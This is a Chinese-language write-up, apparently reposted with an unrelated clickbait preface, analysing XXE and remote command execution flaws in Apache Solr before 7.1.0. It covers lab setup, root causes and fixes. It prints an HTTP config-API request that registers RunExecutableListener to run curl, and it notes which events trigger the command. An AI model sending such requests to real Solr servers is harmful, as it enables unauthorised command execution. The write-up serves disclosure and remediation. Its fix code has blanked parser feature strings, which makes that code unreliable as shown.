前言:
如今大家对“ubuntupylucene”大约比较珍视,姐妹们都需要学习一些“ubuntupylucene”的相关资讯。那么小编在网上汇集了一些对于“ubuntupylucene””的相关知识,希望同学们能喜欢,姐妹们快快来了解一下吧!作者:Urahara
Versions Affected
Apache Solr before 7.1.0 with Apache Lucene before 7.1Elasticsearch, although it uses Lucene, is NOT vulnerable to this.
Description
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE)。
First Vulnerability: XML External Entity Expansion
Test Environment
Linux Ubuntu server x64Apache Solr 7.0.1 ()Java SE Development Kit 8 ()
1. 启动Solr
Solr不需要额外安装,解压安装包即可,通过bin/solr目录来启动
$ bin/solr start
如果在Windows平台,可以这样启动:
bin\solr.cmd start
这样就可以在后台启动Solr,并监听8983端口,启动脚本会检查启动的正确性并返回提示信息到控制台。这时就可以通过浏览器来访问管理控制台()。
2. 创建Core
如果没有使用示例配置,为了能够建立索引和查询,这里必须创建一个Core
$ bin/solr create -c Urahara # Urahara为你要创建的Core的名称
这会使用data-driven schema创建一个core,会尝试根据添加的文档来确定类型建立索引。
查看所有创建新core的选项:
$ bin/solr create -help
3. 添加文档
这时候Solr中还是空的,我们需要添加一些文档以便进行索引。在example/目录的子目录下有不同的类型。
在bin/目录下有一个发送脚本,是一个命令行工具,可以索引不同的文档。现在不需要关心太多细节。索引部分的所有细节都在The Indexing and Basic Data Operations部分。
要查看有关bin/post的有关信息,使用-help选项。Windows用户可以参考bin/post工具的Windows部分。bin/post可以发送各种数据类型到Solr,包括原生的XML和JSON格式、CSV文件,丰富的文档目录树,甚至是抓取的简单网页。
继续,根据示例XML文件添加所有文档:
完成上述操作Solr就已经为这些文档建立索引并包含在这些文件中。
现在,我们有了索引文档可以执行查询。比如下面在所有文档中查询video
Vulnerability Analysis
这是一个典型XXE漏洞的缺陷编码示例,Lucene包含了一个查询解析器支持XML格式进行数据查询,出现问题的代码片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中
通过查看调用栈中的数据处理流程,在调用lucene xml解析器时确实没有对DTD和外部实体进行禁用处理,造成了Blind XXE。
Second Vulnerability: Remote Code Execution
依据漏洞作者所披露的漏洞细节来看,RCE需要使用到SolrCloud Collections API,所以RCE只影响Solrcloud分布式系统。
Test Environment
Linux Ubuntu server x64Apache Solr 7.0.1 ()Java SE Development Kit 8 ()Zookeeper 3.4.6 ()
这里我搭建了单节点伪分布式SolrCloud进行漏洞复现和调试
1. 启动Zookeeper
在ZooKeeper目录创建data目录,用来作为单个ZooKeeper节点的存储目录,在该目录下建立一个myid文件echo 1 > data/myid
打开conf/zoo.cfg文件,进行如下修改: dataDir修改为data的路径,并在文件末尾加上如下配置server.1=localhost:2287:3387
通过bin/zkServer.sh start ./conf/zoo.cfg 启动Zookeeper服务
2. 启动Solr
启动Solr时需要与Zookeeper端口对应
bin/solr start -p 8983 -f -a "-DzkHost=localhost:2181"
至此,我们已完成了SolrCloud的伪分布式搭建
Vulnerability Analysis
RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令
使用了config API传入add-listener命令即可调用RunExecutableListener
POST /solr/newcollection/config HTTP/1.1Host: localhost:8983Connection: closeContent-Type: application/json Content-Length: 198{ "add-listener" : { "event":"postCommit", "name":"newlistener", "class":"solr.RunExecutableListener", "exe":"curl", "dir":"/usr/bin/", "args":[""] }}
而这里的“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作
通过查看代码,能够触发命令执行的事件有两个:postCommit 和 newSearcher
使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求
而使用newSearcher时可直接执行命令
Solution
1.添加Solr访问控制,包括禁止本地直接未授权访问
2.升级版本至7.1,该版本已经解决了XML解析问题并删除了RunExecutableListener类
3.针对XXE可手动修改CoreParser.java文件,按照通常防止基于DOM解析产生XXE的防范方法修复即可
static Document parseXML(InputStream pXmlFile) throws ParserException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = null; try { //protect from XXE attacks dbf.setFeature("", true); dbf.setFeature("", false); dbf.setFeature("", false); db = dbf.newDocumentBuilder(); } catch (Exception se) { throw new ParserException("XML Parser configuration error", se); } org.w3c.dom.Document doc = null; try { doc = db.parse(pXmlFile); }
4.针对RCE问题,由于涉及的是SolrCloud所以建议在所有节点中添加filter,进行相关过滤
标签: #ubuntupylucene